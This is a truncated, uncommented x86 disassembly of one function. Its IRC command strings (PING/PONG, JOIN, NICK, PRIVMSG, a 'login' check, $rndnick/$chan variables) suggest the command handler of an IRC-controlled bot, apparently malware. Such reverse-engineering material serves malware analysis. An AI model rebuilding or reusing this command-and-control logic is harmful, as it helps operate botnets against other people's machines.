= byte ptr -21A8h var_2128 = byte ptr -2128h var_2028 = byte ptr -2028h var_1F28 = dword ptr -1F28h var_1F24 = dword ptr -1F24h var_1F20 = dword ptr -1F20h var_1F1C = dword ptr -1F1Ch var_1F18 = dword ptr -1F18h var_1F14 = dword ptr -1F14h var_1F10 = dword ptr -1F10h var_1F0C = dword ptr -1F0Ch var_1F08 = dword ptr -1F08h var_1F04 = dword ptr -1F04h var_1F00 = byte ptr -1F00h var_1E80 = byte ptr -1E80h var_1D80 = byte ptr -1D80h var_1C80 = dword ptr -1C80h var_1C7C = dword ptr -1C7Ch var_1C78 = dword ptr -1C78h var_1C74 = dword ptr -1C74h var_1C70 = dword ptr -1C70h var_1C6C = dword ptr -1C6Ch var_1C68 = dword ptr -1C68h var_1C64 = dword ptr -1C64h var_1C60 = dword ptr -1C60h var_1C5C = dword ptr -1C5Ch var_1C58 = byte ptr -1C58h var_1BD8 = byte ptr -1BD8h var_1B58 = byte ptr -1B58h var_1AD8 = dword ptr -1AD8h var_1AD4 = dword ptr -1AD4h var_1AD0 = dword ptr -1AD0h var_1ACC = dword ptr -1ACCh var_1AC8 = dword ptr -1AC8h var_1AC4 = byte ptr -1AC4h var_1A44 = byte ptr -1A44h var_19C4 = byte ptr -19C4h var_1944 = dword ptr -1944h var_1940 = dword ptr -1940h var_193C = dword ptr -193Ch var_1938 = dword ptr -1938h var_1934 = dword ptr -1934h var_1930 = byte ptr -1930h var_1830 = byte ptr -1830h var_17B0 = dword ptr -17B0h var_17A8 = dword ptr -17A8h var_17A4 = dword ptr -17A4h var_17A0 = dword ptr -17A0h var_179C = dword ptr -179Ch var_1798 = dword ptr -1798h var_1794 = dword ptr -1794h var_1790 = byte ptr -1790h var_1710 = byte ptr -1710h var_16D0 = byte ptr -16D0h var_15D0 = dword ptr -15D0h var_15CC = dword ptr -15CCh var_15C0 = dword ptr -15C0h var_15BC = dword ptr -15BCh var_15B8 = dword ptr -15B8h var_15B4 = byte ptr -15B4h var_157C = byte ptr -157Ch var_1560 = byte ptr -1560h var_1528 = byte ptr -1528h var_1524 = byte ptr -1524h var_14A4 = byte ptr -14A4h var_1464 = byte ptr -1464h var_13D4 = dword ptr -13D4h var_13D0 = dword ptr -13D0h var_13CC = dword ptr -13CCh var_13C8 = dword ptr -13C8h var_13C4 = dword ptr -13C4h var_13C0 = byte ptr -13C0h var_1340 = byte ptr -1340h var_12C0 = dword ptr -12C0h var_12BC = dword ptr -12BCh var_12B8 = dword ptr -12B8h var_12B4 = dword ptr -12B4h var_12B0 = byte ptr -12B0h var_12A0 = byte ptr -12A0h var_1220 = byte ptr -1220h var_11A0 = dword ptr -11A0h var_1198 = dword ptr -1198h var_1194 = dword ptr -1194h var_1190 = dword ptr -1190h var_118C = dword ptr -118Ch var_1188 = dword ptr -1188h var_1184 = dword ptr -1184h var_1180 = byte ptr -1180h var_1100 = byte ptr -1100h var_1080 = byte ptr -1080h var_1000 = dword ptr -1000h var_FFC = dword ptr -0FFCh var_FF8 = dword ptr -0FF8h var_FF4 = dword ptr -0FF4h var_FF0 = dword ptr -0FF0h var_FEC = dword ptr -0FECh var_FE8 = dword ptr -0FE8h var_FE4 = dword ptr -0FE4h var_FDC = byte ptr -0FDCh var_F5C = byte ptr -0F5Ch var_EDC = dword ptr -0EDCh var_ED8 = dword ptr -0ED8h var_ED4 = dword ptr -0ED4h var_ECC = dword ptr -0ECCh var_EC8 = dword ptr -0EC8h var_EC4 = dword ptr -0EC4h var_EBC = dword ptr -0EBCh var_EB8 = byte ptr -0EB8h var_E38 = byte ptr -0E38h var_DB8 = dword ptr -0DB8h var_DB4 = dword ptr -0DB4h var_DB0 = dword ptr -0DB0h var_DA8 = dword ptr -0DA8h var_DA4 = dword ptr -0DA4h var_DA0 = dword ptr -0DA0h var_D9C = dword ptr -0D9Ch var_D98 = dword ptr -0D98h var_D94 = byte ptr -0D94h var_D14 = dword ptr -0D14h var_D10 = dword ptr -0D10h var_D0C = dword ptr -0D0Ch var_D08 = dword ptr -0D08h var_D04 = byte ptr -0D04h var_C84 = byte ptr -0C84h var_C74 = byte ptr -0C74h var_C54 = dword ptr -0C54h var_C50 = byte ptr -0C50h var_BD0 = byte ptr -0BD0h var_B50 = dword ptr -0B50h var_B4C = dword ptr -0B4Ch var_B48 = dword ptr -0B48h var_B44 = dword ptr -0B44h var_B40 = dword ptr -0B40h var_B3C = dword ptr -0B3Ch var_B38 = dword ptr -0B38h var_B34 = dword ptr -0B34h var_B30 = dword ptr -0B30h var_B2C = byte ptr -0B2Ch var_AAC = dword ptr -0AACh var_AA8 = dword ptr -0AA8h var_AA4 = dword ptr -0AA4h var_AA0 = dword ptr -0AA0h var_A9C = dword ptr -0A9Ch var_A98 = dword ptr -0A98h var_A94 = byte ptr -0A94h var_A14 = dword ptr -0A14h var_A10 = dword ptr -0A10h var_A0C = dword ptr -0A0Ch var_A08 = dword ptr -0A08h var_A04 = dword ptr -0A04h var_A00 = dword ptr -0A00h var_9FC = byte ptr -9FCh var_97C = word ptr -97Ch var_978 = dword ptr -978h var_970 = dword ptr -970h var_96C = dword ptr -96Ch var_968 = dword ptr -968h var_960 = byte ptr -960h var_8FF = byte ptr -8FFh var_8FE = byte ptr -8FEh var_8FC = byte ptr -8FCh var_8FB = byte ptr -8FBh var_8F2 = byte ptr -8F2h var_8F0 = byte ptr -8F0h var_8EE = byte ptr -8EEh var_8ED = byte ptr -8EDh var_860 = byte ptr -860h var_850 = byte ptr -850h var_7D0 = byte ptr -7D0h var_750 = dword ptr -750h var_74C = dword ptr -74Ch var_748 = dword ptr -748h var_744 = dword ptr -744h var_740 = dword ptr -740h var_734 = dword ptr -734h var_730 = dword ptr -730h var_728 = dword ptr -728h var_724 = dword ptr -724h var_720 = dword ptr -720h var_71C = dword ptr -71Ch var_714 = dword ptr -714h var_710 = byte ptr -710h var_690 = dword ptr -690h var_688 = dword ptr -688h var_684 = dword ptr -684h var_680 = dword ptr -680h var_678 = dword ptr -678h var_674 = dword ptr -674h var_670 = dword ptr -670h var_668 = dword ptr -668h var_63C = dword ptr -63Ch var_638 = word ptr -638h var_624 = dword ptr -624h var_620 = byte ptr -620h var_5A0 = byte ptr -5A0h var_590 = dword ptr -590h var_58C = dword ptr -58Ch var_584 = dword ptr -584h var_580 = dword ptr -580h var_57C = dword ptr -57Ch var_574 = dword ptr -574h var_570 = byte ptr -570h var_4F0 = dword ptr -4F0h var_4EC = dword ptr -4ECh var_4E8 = dword ptr -4E8h var_4E4 = dword ptr -4E4h var_4E0 = dword ptr -4E0h var_4D8 = dword ptr -4D8h var_4D4 = dword ptr -4D4h var_4D0 = dword ptr -4D0h var_4C8 = byte ptr -4C8h var_4BC = byte ptr -4BCh var_484 = byte ptr -484h var_474 = byte ptr -474h var_3F4 = byte ptr -3F4h var_374 = dword ptr -374h var_370 = dword ptr -370h var_36C = dword ptr -36Ch var_368 = dword ptr -368h var_364 = dword ptr -364h var_358 = dword ptr -358h var_354 = dword ptr -354h var_34C = dword ptr -34Ch var_348 = dword ptr -348h var_344 = dword ptr -344h var_340 = dword ptr -340h var_338 = byte ptr -338h var_31C = word ptr -31Ch var_31A = word ptr -31Ah var_318 = dword ptr -318h var_30C = byte ptr -30Ch var_308 = dword ptr -308h var_2FC = byte ptr -2FCh var_2F8 = byte ptr -2F8h var_2F4 = dword ptr -2F4h var_2E8 = byte ptr -2E8h var_2E4 = byte ptr -2E4h var_2E3 = byte ptr -2E3h var_2E2 = byte ptr -2E2h var_2D8 = dword ptr -2D8h var_2D4 = dword ptr -2D4h var_2D0 = dword ptr -2D0h var_2CC = dword ptr -2CCh var_2C8 = dword ptr -2C8h var_2C4 = dword ptr -2C4h var_2C0 = byte ptr -2C0h var_C0 = byte ptr -0C0h var_A8 = dword ptr -0A8h var_A4 = dword ptr -0A4h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_93 = byte ptr -93h var_92 = byte ptr -92h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = dword ptr -78h var_50 = byte ptr -50h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = dword ptr 30h push ebp mov ebp, esp mov eax, 4AE8h call sub_41BC60 push ebx push esi mov esi, 200h push edi xor ebx, ebx push esi lea eax, [ebp+var_2C0] push ebx push eax mov [ebp+var_A4], 3 mov [ebp+var_10], ebx mov [ebp+var_A8], ebx mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov [ebp+var_2C4], ebx call sub_41B190 push 1Bh lea eax, [ebp+var_338] push [ebp+arg_10] push eax call sub_41B1F0 add esp, 18h cmp [ebp+arg_0], ebx jz loc_40207C push esi lea eax, [ebp+var_39E8] push ebx push eax call sub_41B190 dec esi lea eax, [ebp+var_39E8] push esi push [ebp+arg_0] push eax call sub_41B1F0 lea eax, [ebp+var_39E8] push offset asc_441584 ; " :" push eax call sub_41B890 mov [ebp+var_C], eax lea eax, [ebp+var_39E8] push esi push eax lea eax, [ebp+var_3E4C] push eax call sub_41B1F0 lea eax, [ebp+var_3E4C] push offset asc_441588 ; " " push eax call sub_41C550 add esp, 34h mov [ebp+var_90], eax lea esi, [ebp+var_8C] push 1Fh pop edi loc_401D8C: ; CODE XREF: sub_401CC1+DEj push offset asc_44158C ; " " push ebx call sub_41C550 mov [esi], eax pop ecx add esi, 4 dec edi pop ecx jnz short loc_401D8C mov esi, [ebp+var_90] cmp esi, ebx jz loc_40207C cmp [ebp+var_8C], ebx jz loc_40207C push 100h lea eax, [ebp+var_960] push ebx push eax call sub_41B190 add esp, 0Ch lea ecx, [ebp+var_14] push 1Fh pop edx push 1 pop edi loc_401DD9: ; CODE XREF: sub_401CC1+14Aj mov eax, [ecx] cmp eax, ebx jz short loc_401E05 cmp byte ptr [eax], 2Dh jnz short loc_401E0D cmp [eax+2], bl jnz short loc_401E0D movsx esi, byte ptr [eax+1] mov [ecx], ebx mov [ebp+esi+var_960], 1 mov esi, [ebp+var_90] mov [eax], bl mov [eax+1], bl mov [eax+2], bl loc_401E05: ; CODE XREF: sub_401CC1+11Cj dec edx sub ecx, 4 cmp edx, ebx jge short loc_401DD9 loc_401E0D: ; CODE XREF: sub_401CC1+121j ; sub_401CC1+126j cmp [ebp+var_8ED], bl jz short loc_401E18 mov [ebp+var_8], edi loc_401E18: ; CODE XREF: sub_401CC1+152j cmp [ebp+var_8F2], bl jz short loc_401E26 mov [ebp+var_8], ebx mov [ebp+var_4], edi loc_401E26: ; CODE XREF: sub_401CC1+15Dj cmp byte ptr [esi], 0Ah jz short loc_401E60 push 7Fh lea eax, [ebp+var_D04] push esi push eax call sub_41B1F0 lea eax, [esi+1] push 17h push eax lea eax, [ebp+var_C0] push eax call sub_41B1F0 lea eax, [ebp+var_C0] push offset asc_441590 ; "!" push eax call sub_41C550 add esp, 20h loc_401E60: ; CODE XREF: sub_401CC1+168j push esi push offset aPing ; "PING" call sub_41C4C0 pop ecx test eax, eax pop ecx jnz short loc_401EB1 push [ebp+var_8C] mov byte ptr [esi+1], 4Fh push offset aPongS ; "PONG %s\r\n" push [ebp+arg_4] call sub_408E73 mov eax, [ebp+arg_20] add esp, 0Ch cmp [eax], ebx jnz loc_401F55 push [ebp+arg_C] push [ebp+arg_8] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_408E73 add esp, 10h jmp loc_401F55 ; --------------------------------------------------------------------------- loc_401EB1: ; CODE XREF: sub_401CC1+1AEj mov esi, [ebp+var_8C] push esi push offset a001 ; "001" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_408E2D push esi push offset a005 ; "005" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_408E2D push esi push offset a302 ; "302" call sub_41C4C0 pop ecx test eax, eax pop ecx jnz short loc_401F1C push offset a@_5 ; "@" push [ebp+var_84] call sub_41B890 pop ecx cmp eax, ebx pop ecx jz short loc_401F55 inc eax push 9Fh push eax push [ebp+arg_1C] call sub_41B1F0 add esp, 0Ch jmp short loc_401F55 ; --------------------------------------------------------------------------- loc_401F1C: ; CODE XREF: sub_401CC1+22Fj push esi push offset a433_0 ; "433" call sub_41C4C0 pop ecx test eax, eax pop ecx jnz short loc_401F5C push ebx push dword_43A0A0 push dword_43A09C push [ebp+arg_10] call sub_40A4F6 push [ebp+arg_10] push offset aNickS_9 ; "NICK %s\r\n" push [ebp+arg_4] call sub_408E73 add esp, 1Ch loc_401F55: ; CODE XREF: sub_401CC1+1CFj ; sub_401CC1+1EBj ... mov eax, edi jmp loc_40207F ; --------------------------------------------------------------------------- loc_401F5C: ; CODE XREF: sub_401CC1+26Aj mov esi, [ebp+arg_18] mov [ebp+var_2C8], 3 mov edi, 80h loc_401F6E: ; CODE XREF: sub_401CC1+2D2j lea eax, [ebp+var_D04] push eax push esi call sub_41C4C0 pop ecx test eax, eax pop ecx jnz short loc_401F8B mov [ebp+var_A8], 1 loc_401F8B: ; CODE XREF: sub_401CC1+2BEj add esi, edi dec [ebp+var_2C8] jnz short loc_401F6E mov esi, [ebp+var_8C] push esi push offset aKick ; "KICK" call sub_41C4C0 pop ecx test eax, eax pop ecx jnz loc_402084 mov esi, [ebp+arg_18] mov [ebp+arg_24], 3 loc_401FBA: ; CODE XREF: sub_401CC1+386j cmp [esi], bl jz loc_402042 push 7Fh lea eax, [ebp+var_D04] push esi push eax call sub_41B1F0 lea eax, [ebp+var_C0] add esp, 0Ch test eax, eax jz short loc_402042 cmp [ebp+var_84], ebx jz short loc_402042 push [ebp+var_84] lea eax, [ebp+var_C0] push eax call sub_41C4C0 pop ecx test eax, eax pop ecx jnz short loc_402042 lea eax, [ebp+var_C0] mov [esi], bl push eax lea eax, [ebp+var_2C0] push offset unk_441610 push eax call sub_41B740 lea eax, [ebp+var_2C0] push eax lea eax, [ebp+var_C0] push eax push offset aNoticeSS ; "NOTICE %s :%s\r\n" push [ebp+arg_4] call sub_408E73 lea eax, [ebp+var_2C0] push eax call sub_41458A add esp, 20h loc_402042: ; CODE XREF: sub_401CC1+2FBj ; sub_401CC1+31Bj ... add esi, edi dec [ebp+arg_24] jnz loc_401FBA push [ebp+var_84] push [ebp+arg_10] call sub_41C4C0 pop ecx test eax, eax pop ecx jnz short loc_40207C push [ebp+arg_C] mov eax, [ebp+arg_20] push [ebp+arg_8] mov [eax], ebx push offset aJoinSS_0 ; "JOIN %s %s\r\n" loc_402071: ; CODE XREF: sub_401CC1+607j ; sub_401CC1+837j ... push [ebp+arg_4] call sub_408E73 loc_402079: ; CODE XREF: sub_401CC1+2070j ; sub_401CC1+208Dj ... add esp, 10h loc_40207C: ; CODE XREF: sub_401CC1+5Bj ; sub_401CC1+E8j ... push 1 loc_40207E: ; CODE XREF: sub_401CC1+25D4j pop eax loc_40207F: ; CODE XREF: sub_401CC1+296j ; sub_401CC1+25F6j ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_402084: ; CODE XREF: sub_401CC1+2E9j push esi push offset aNick ; "NICK" call sub_41C4C0 pop ecx test eax, eax pop ecx jnz loc_4021DA mov eax, [ebp+var_88] mov esi, [ebp+arg_18] inc eax mov [ebp+arg_0], 3 mov [ebp+arg_24], eax loc_4020AD: ; CODE XREF: sub_401CC1+43Ej lea eax, [ebp+var_D04] push eax push esi call sub_41C4C0 pop ecx test eax, eax pop ecx jnz short loc_4020FA lea eax, [ebp+var_D04] push 21h push eax call sub_41C400 pop ecx cmp eax, ebx pop ecx mov [ebp+arg_1C], eax jz short loc_4020FA push [ebp+arg_24] lea edi, [esi+2] mov byte ptr [esi], 3Ah lea eax, [edi-1] push eax call sub_41C300 push [ebp+arg_1C] push edi call sub_41C310 add esp, 10h mov edi, 80h loc_4020FA: ; CODE XREF: sub_401CC1+3FDj ; sub_401CC1+414j add esi, edi dec [ebp+arg_0] jnz short loc_4020AD lea eax, [ebp+var_C0] test eax, eax jz loc_40207C cmp [ebp+arg_24], ebx jz loc_40207C push [ebp+arg_10] lea eax, [ebp+var_C0] loc_402121: ; DATA XREF: .nsp0:off_440568o push eax call sub_41C4C0 pop ecx test eax, eax pop ecx jnz short loc_402142 push 0Fh push [ebp+arg_24] push [ebp+arg_10] call sub_41B1F0 loc_40213A: ; CODE XREF: sub_401CC1+184Cj add esp, 0Ch jmp loc_40207C ; --------------------------------------------------------------------------- loc_402142: ; CODE XREF: sub_401CC1+46Aj mov edi, [ebp+arg_18] xor esi, esi loc_402147: ; CODE XREF: sub_401CC1+4A7j cmp [edi], bl jz short loc_40215E lea eax, [ebp+var_D04] push eax push edi call sub_41C4C0 pop ecx test eax, eax pop ecx jz short loc_40216F loc_40215E: ; CODE XREF: sub_401CC1+488j inc esi add edi, 80h cmp esi, 3 jl short loc_402147 jmp loc_40207C ; --------------------------------------------------------------------------- loc_40216F: ; CODE XREF: sub_401CC1+49Bj lea eax, [ebp+var_D04] push 21h push eax call sub_41C400 pop ecx cmp eax, ebx pop ecx mov [ebp+arg_0], eax jz loc_40207C push eax call sub_418D00 push [ebp+arg_24] mov edi, eax call sub_418D00 add edi, eax pop ecx cmp edi, 7Eh pop ecx ja loc_40207C push [ebp+arg_0] shl esi, 7 push [ebp+arg_24] add esi, [ebp+arg_18] push offset aSS ; ":%s%s" push esi call sub_41B740 push ebx lea eax, [ebp+var_3A4C] push ebx push eax push [ebp+arg_8] push [ebp+arg_4] call sub_408EB9 add esp, 24h jmp loc_40207C ; --------------------------------------------------------------------------- loc_4021DA: ; CODE XREF: sub_401CC1+3D2j push esi push offset aPart ; "PART" call sub_41C4C0 pop ecx test eax, eax pop ecx jz short loc_4021FC push esi push offset aQuit ; "QUIT" call sub_41C4C0 pop ecx test eax, eax pop ecx jnz short loc_402229 loc_4021FC: ; CODE XREF: sub_401CC1+528j mov edi, [ebp+arg_18] xor esi, esi loc_402201: ; CODE XREF: sub_401CC1+560j cmp [edi], bl jz short loc_402217 push [ebp+var_90] push edi call sub_41C4C0 pop ecx test eax, eax pop ecx jz short loc_40226C loc_402217: ; CODE XREF: sub_401CC1+542j inc esi add edi, 80h cmp esi, 3 jl short loc_402201 mov esi, [ebp+var_8C] loc_402229: ; CODE XREF: sub_401CC1+539j push esi push offset a353 ; "353" call sub_41C4C0 pop ecx test eax, eax pop ecx jnz loc_4022CD push [ebp+var_80] push [ebp+arg_8] call sub_41C4C0 pop ecx test eax, eax pop ecx jnz short loc_402258 mov eax, [ebp+arg_20] mov dword ptr [eax], 1 loc_402258: ; CODE XREF: sub_401CC1+58Cj push [ebp+var_80] push offset unk_4416B0 loc_402260: ; CODE XREF: sub_401CC1+2406j ; sub_401CC1+27A7j ... call sub_4145FE pop ecx loc_402266: ; CODE XREF: sub_401CC1+6DF3j pop ecx jmp loc_40207C ; --------------------------------------------------------------------------- loc_40226C: ; CODE XREF: sub_401CC1+554j mov eax, [ebp+arg_18] shl esi, 7 mov [esi+eax], bl lea eax, [ebp+var_C0] push eax lea eax, [ebp+var_2C0] push offset unk_441670 push eax call sub_41B740 lea eax, [ebp+var_2C0] push eax call sub_41458A push [ebp+var_8C] push offset aPart_0 ; "PART" call sub_41C4C0 add esp, 18h test eax, eax jnz loc_40207C lea eax, [ebp+var_2C0] push eax mov eax, [ebp+var_90] inc eax push eax push offset aNoticeSS_0 ; "NOTICE %s :%s\r\n" jmp loc_402071 ; --------------------------------------------------------------------------- loc_4022CD: ; CODE XREF: sub_401CC1+577j push esi push offset aPrivmsg ; "PRIVMSG" call sub_41C4C0 pop ecx test eax, eax pop ecx jz short loc_402310 push esi push offset aNotice ; "NOTICE" call sub_41C4C0 pop ecx test eax, eax pop ecx jz short loc_402310 push esi push offset a332 ; "332" call sub_41C4C0 pop ecx test eax, eax pop ecx jnz loc_408CA1 cmp dword_43A088, ebx jz loc_408CA1 loc_402310: ; CODE XREF: sub_401CC1+61Bj ; sub_401CC1+62Cj push esi push offset aPrivmsg_0 ; "PRIVMSG" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_40241A push esi push offset aNotice_0 ; "NOTICE" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_40241A mov eax, [ebp+var_84] inc [ebp+var_80] mov [ebp+var_A4], 4 mov [ebp+var_88], eax loc_402353: ; CODE XREF: sub_401CC1+815j ; sub_401CC1+84Bj ... mov eax, [ebp+var_A4] mov esi, eax shl esi, 2 mov ecx, [ebp+esi+var_90] lea eax, [ebp+esi+var_90] lea edi, [ecx+1] mov [eax], edi mov al, [ecx] cmp al, byte_43A094 mov [ebp+arg_C], edi jnz loc_40207C push edi push offset aLogin ; "login" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_408CA9 push edi push offset aHi ; "hi" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_408CA9 cmp [ebp+var_A8], ebx jnz short loc_4023CE push [ebp+var_8C] push offset a332_3 ; "332" call sub_41C4C0 pop ecx test eax, eax pop ecx jnz loc_408CA1 loc_4023CE: ; CODE XREF: sub_401CC1+6F1j cmp [ebp+arg_28], ebx jnz loc_408CA1 cmp dword_43C6A4, ebx mov [ebp+arg_8], ebx jle loc_4026B0 mov [ebp+arg_20], offset dword_452A48 loc_4023ED: ; CODE XREF: sub_401CC1+752j push edi push [ebp+arg_20] call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_402539 inc [ebp+arg_8] add [ebp+arg_20], 0B8h mov eax, [ebp+arg_8] cmp eax, dword_43C6A4 jl short loc_4023ED jmp loc_4026B0 ; --------------------------------------------------------------------------- loc_40241A: ; CODE XREF: sub_401CC1+65Ej ; sub_401CC1+673j push esi push offset aNotice_1 ; "NOTICE" call sub_41C4C0 pop ecx test eax, eax pop ecx jnz short loc_402432 mov [ebp+var_4], 1 loc_402432: ; CODE XREF: sub_401CC1+768j mov edi, [ebp+var_88] cmp edi, ebx jz loc_40207C push offset asc_4416FC ; "#" push edi call sub_41B890 pop ecx test eax, eax pop ecx jz short loc_402456 cmp [ebp+var_4], ebx jz short loc_402462 loc_402456: ; CODE XREF: sub_401CC1+78Ej lea edi, [ebp+var_C0] mov [ebp+var_88], edi loc_402462: ; CODE XREF: sub_401CC1+793j cmp [ebp+var_84], ebx jz loc_40207C inc [ebp+var_84] jz short loc_4024AC cmp [ebp+arg_10], ebx jz short loc_4024AC lea eax, [ebp+var_338] push eax call sub_418D00 push eax lea eax, [ebp+var_338] push [ebp+var_84] push eax call sub_41C2C0 add esp, 10h neg eax sbb eax, eax add eax, 4 mov [ebp+var_A4], eax jmp short loc_4024B2 ; --------------------------------------------------------------------------- loc_4024AC: ; CODE XREF: sub_401CC1+7B3j ; sub_401CC1+7B8j mov eax, [ebp+var_A4] loc_4024B2: ; CODE XREF: sub_401CC1+7E9j shl eax, 2 mov [ebp+arg_8], eax mov esi, [ebp+eax+var_90] cmp esi, ebx jz loc_40207C push esi push offset dword_441700 call sub_41C4C0 pop ecx test eax, eax pop ecx jnz loc_402353 cmp byte ptr [edi], 23h jz short loc_4024FD mov eax, dword_4E074C mov eax, off_43A158[eax*4] cmp [eax], bl jz short loc_4024FD push eax push edi push offset dword_44170C jmp loc_402071 ; --------------------------------------------------------------------------- loc_4024FD: ; CODE XREF: sub_401CC1+81Ej ; sub_401CC1+82Ej push esi push offset dword_441728 call sub_41C4C0 pop ecx test eax, eax pop ecx jnz loc_402353 mov eax, [ebp+arg_8] mov eax, [ebp+eax+var_8C] cmp eax, ebx jz loc_402353 cmp byte ptr [edi], 23h jz loc_402353 push eax push edi push offset dword_441730 jmp loc_402071 ; --------------------------------------------------------------------------- loc_402539: ; CODE XREF: sub_401CC1+739j push offset asc_4418A0 ; " :" push [ebp+arg_0] call sub_41B890 pop ecx cmp eax, ebx pop ecx jz loc_40207C mov edi, [ebp+arg_8] mov cl, byte_43A094 imul edi, 0B8h mov [eax+2], cl mov cl, byte_43A094 mov [eax+3], cl lea ecx, dword_452A60[edi] push 9Fh add eax, 4 push ecx push eax call sub_41B1F0 lea eax, [ebp+esi+var_50] add esp, 0Ch mov [ebp+arg_8], 0Fh mov [ebp+arg_20], eax loc_402591: ; CODE XREF: sub_401CC1+981j push [ebp+arg_8] lea eax, [ebp+var_A0] push offset aD_0 ; "$%d-" push eax call sub_41B740 lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_41B890 add esp, 14h test eax, eax jz short loc_4025FD mov eax, [ebp+arg_20] cmp [eax], ebx jz short loc_4025FD lea eax, dword_452A48[edi] push eax call sub_418D00 add [ebp+var_C], eax pop ecx jz short loc_402638 mov eax, [ebp+arg_20] push dword ptr [eax-4] push [ebp+var_C] call sub_41B890 pop ecx cmp eax, ebx pop ecx jz short loc_402638 push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_415C6E add esp, 0Ch jmp short loc_402638 ; --------------------------------------------------------------------------- loc_4025FD: ; CODE XREF: sub_401CC1+8F8j ; sub_401CC1+8FFj mov eax, [ebp+arg_20] cmp [eax], ebx jnz short loc_402638 lea eax, [ebp+var_A0] push 2 push eax lea eax, [ebp+var_94] push eax call sub_41B1F0 lea eax, [ebp+var_94] mov [ebp+var_92], bl push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_415C6E add esp, 18h loc_402638: ; CODE XREF: sub_401CC1+911j ; sub_401CC1+925j ... dec [ebp+arg_8] sub [ebp+arg_20], 4 cmp [ebp+arg_8], ebx jg loc_402591 lea eax, [ebp+esi+var_50] mov [ebp+arg_8], 10h mov edi, eax loc_402655: ; CODE XREF: sub_401CC1+9E0j push [ebp+arg_8] lea eax, [ebp+var_A0] push offset aD_1 ; "$%d" push eax call sub_41B740 lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_41B890 add esp, 14h test eax, eax jz short loc_402698 mov eax, [edi] cmp eax, ebx jz short loc_402698 push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_415C6E add esp, 0Ch loc_402698: ; CODE XREF: sub_401CC1+9BCj ; sub_401CC1+9C2j dec [ebp+arg_8] sub edi, 4 cmp [ebp+arg_8], ebx jg short loc_402655 mov edi, [ebp+arg_C] mov [ebp+var_2C4], 1 loc_4026B0: ; CODE XREF: sub_401CC1+71Fj ; sub_401CC1+754j mov al, [edi] cmp al, byte_43A094 jz short loc_4026C6 cmp [ebp+var_2C4], ebx jz loc_4028BB loc_4026C6: ; CODE XREF: sub_401CC1+9F7j push [ebp+arg_10] mov edi, [ebp+arg_0] push offset aMe ; "$me" push edi call sub_415C6E lea eax, [ebp+var_C0] push eax push offset aUser_6 ; "$user" push edi call sub_415C6E push [ebp+var_88] push offset aChan ; "$chan" push edi call sub_415C6E push ebx push ebx lea eax, [ebp+var_A0] push 2 push eax call sub_40A4F6 push eax push offset aRndnick_0 ; "$rndnick" push edi call sub_415C6E add esp, 40h push [ebp+arg_14] push offset aServer_8 ; "$server" push edi call sub_415C6E mov edi, offset aChr ; "$chr(" push edi push [ebp+arg_0] call sub_41B890 add esp, 14h loc_402738: ; CODE XREF: sub_401CC1+B73j test eax, eax jz loc_402839 push offset aChr_0 ; "$chr(" push [ebp+arg_0] call sub_41B890 mov [ebp+arg_10], eax add eax, 5 push 4 push eax lea eax, [ebp+var_A0] push eax call sub_41B1F0 lea eax, [ebp+var_A0] push offset asc_4418E8 ; ")" push eax call sub_41C550 add esp, 1Ch cmp [ebp+var_A0], 30h jl short loc_402788 cmp [ebp+var_A0], 39h jle short loc_40279E loc_402788: ; CODE XREF: sub_401CC1+ABCj push 3 lea eax, [ebp+var_A0] push offset a63 ; "63" push eax call sub_41B1F0 add esp, 0Ch loc_40279E: ; CODE XREF: sub_401CC1+AC5j lea eax, [ebp+var_A0] push eax call sub_41B3F0 test eax, eax pop ecx jle short loc_4027C4 lea eax, [ebp+var_A0] push eax call sub_41B3F0 pop ecx mov [ebp+var_94], al jmp short loc_4027D8 ; --------------------------------------------------------------------------- loc_4027C4: ; CODE XREF: sub_401CC1+AECj call sub_41B850 push 60h cdq pop ecx idiv ecx add dl, 20h mov [ebp+var_94], dl loc_4027D8: ; CODE XREF: sub_401CC1+B01j lea eax, [ebp+var_A0] mov [ebp+var_93], bl push eax call sub_418D00 mov [ebp+arg_8], eax push 0Ch lea eax, [ebp+var_A0] push ebx push eax call sub_41B190 mov eax, [ebp+arg_8] add eax, 6 push eax lea eax, [ebp+var_A0] push [ebp+arg_10] push eax call sub_41B1F0 lea eax, [ebp+var_94] push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_415C6E push edi push [ebp+arg_0] call sub_41B890 add esp, 30h jmp loc_402738 ; --------------------------------------------------------------------------- loc_402839: ; CODE XREF: sub_401CC1+A79j mov edi, 1FFh lea eax, [ebp+var_39E8] push edi push [ebp+arg_0] push eax call sub_41B1F0 lea eax, [ebp+var_39E8] push edi push eax lea eax, [ebp+var_3E4C] push eax call sub_41B1F0 lea eax, [ebp+var_3E4C] push offset asc_4418F0 ; " " push eax call sub_41C550 add esp, 20h mov [ebp+var_90], eax lea edi, [ebp+var_8C] mov [ebp+arg_10], 1Fh loc_402889: ; CODE XREF: sub_401CC1+BDDj push offset asc_4418F4 ; " " push ebx call sub_41C550 mov [edi], eax pop ecx add edi, 4 dec [ebp+arg_10] pop ecx jnz short loc_402889 mov ecx, [ebp+esi+var_90] lea eax, [ebp+esi+var_90] cmp ecx, ebx jz 